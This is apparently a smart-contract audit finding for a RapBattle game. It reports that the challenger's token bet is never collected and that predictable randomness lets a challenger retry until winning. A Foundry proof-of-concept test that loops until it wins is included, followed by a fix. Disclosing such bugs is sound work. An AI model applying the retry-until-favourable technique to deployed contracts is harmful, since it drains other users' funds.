Summary
RapBattle.goOnStageOrBattle() does not collect credToken from the challenger. It gives challenger credToken instead. The credToken given to the challenger is the bet of the defender, so the defender takes the loss.
Vulnerability Details
This is the vulnerable function:
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
_battle(_tokenId, _credBet);
}
}
If there is a defender on the stage, the function goes into the else block. Note that credToken.transferFrom() is commented out, so challenger can enter the battle for free. In _battle():
if (random <= defenderRapperSkill) {
credToken.transfer(_defender, defenderBet);
credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
credToken.transfer(msg.sender, _credBet);
}
In the code above, if challenger can make it into the else block then he will get free credToken. To make sure that random > defenderRapperSkill always holds, note that challenger can just observe the outcome and revert if the outcome is not favorable. For example, challenger can check if his credToken balance is increased by _credBet at the end of the PoC. If not, simply revert the whole tx and try again later. Therefore, challenger can always profit from the contract.
Impact
Challenger can steal credToken from the RapBattle contract. The credToken being stolen comes from the defender.
PoC
Add the following test case to OneShotTest.t.sol:
function testPoCGoOnStageOrBattle() public {
vm.startPrank(user);
oneShot.mintRapper();
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.stopPrank();
vm.warp(4 days + 1);
vm.startPrank(user);
streets.unstake(0);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 4);
rapBattle.goOnStageOrBattle(0, 4);
vm.stopPrank();
vm.startPrank(challenger);
oneShot.mintRapper();
console.log("challenger credToken balance before: ", cred.balanceOf(challenger));
uint256 defenderRapperSkill = rapBattle.getRapperSkill(0);
uint256 challengerRapperSkill = rapBattle.getRapperSkill(1);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
while (true) {
uint256 random = uint256(
keccak256(
abi.encodePacked(
block.timestamp,
block.prevrandao,
challenger
)
)
) % totalBattleSkill;
console.log("block.timestamp: ", vm.getBlockTimestamp());
console.log("random: ", random);
console.log("defenderRapperSkill: ", defenderRapperSkill);
console.log();
if (random <= defenderRapperSkill) {
vm.warp(block.timestamp + 1);
continue;
}
rapBattle.goOnStageOrBattle(1, 4);
break;
}
vm.stopPrank();
assertEq(cred.balanceOf(challenger), 4);
console.log("challenger credToken balance after: ", cred.balanceOf(challenger));
}
Run test:
forge test --match-test testPoCGoOnStageOrBattle -vv
Tools Used
Manual review
Recommendations
Collect credToken from challenger in goOnStageOrBattle():
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
credToken.transferFrom(msg.sender, address(this), _credBet);
_battle(_tokenId, _credBet);
}
}
